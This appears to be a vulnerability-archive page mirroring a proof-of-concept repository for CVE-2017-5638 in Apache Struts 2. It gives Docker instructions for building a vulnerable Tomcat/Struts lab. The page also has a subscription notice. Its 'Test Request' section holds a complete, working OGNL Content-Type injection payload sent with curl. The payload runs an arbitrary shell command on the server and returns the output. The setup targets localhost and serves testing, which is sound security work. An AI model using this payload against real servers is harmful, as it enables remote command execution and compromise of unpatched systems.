Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2017-5638 PoC — Apache Struts 2 输入验证错误漏洞

Source
Associated Vulnerability
Title:Apache Struts 2 输入验证错误漏洞 (CVE-2017-5638)
Description:The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.
Description
Build the struts-2.3.31 (CVE-2017-5638) environment
Readme
# vulnerability_struts-2.3.31
Build the struts-2.3.31 (CVE-2017-5638) environment.
https request is possible.

## environment
Ubuntu 20.04
Docker 20.10.12
curl 7.68.0

## Server Startup
We will use the tomcat:7.0-jre8 docker image.
Unzip struts-2.3.31.zip in a directory of your choice.
cd struts-2.3.31
sudo docker build -t struts/2_3_31 .
sudo docker run -it --rm -p 8443:8443 struts/2_3_31

## Test Request
one(expect 200OK)
curl --location --request GET 'https://127.0.0.1:8443/struts2-showcase/showcase.action' -k -I

another(expect 200OK)
curl --location --request GET 'https://127.0.0.1:8443/struts2-showcase/showcase.action' --header 'Content-Type: %{(#_='\''multipart/form-data'\'').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['\''com.opensymphony.xwork2.ActionContext.container'\'']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='\''ls'\'').(#iswin=(@java.lang.System@getProperty('\''os.name'\'').toLowerCase().contains('\''win'\''))).(#cmds=(#iswin?{'\''cmd.exe'\'','\''/c'\'',#cmd}:{'\''/bin/bash'\'','\''-c'\'',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'  -k

## Detail
struts2-showcase.war is downloaded below
https://archive.apache.org/dist/struts/2.3.31/

server.xml is tomcat setting file.
It edited for ssl enable. 
File Snapshot

[4.0K] /data/pocs/dc7904e45bd96763ccda65b2ca8bdb6c17a41fd2 ├── [ 295] Dockerfile ├── [ 11K] LICENSE ├── [1.6K] README.md ├── [6.4K] server.xml └── [ 13M] struts2-showcase.war 0 directories, 5 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →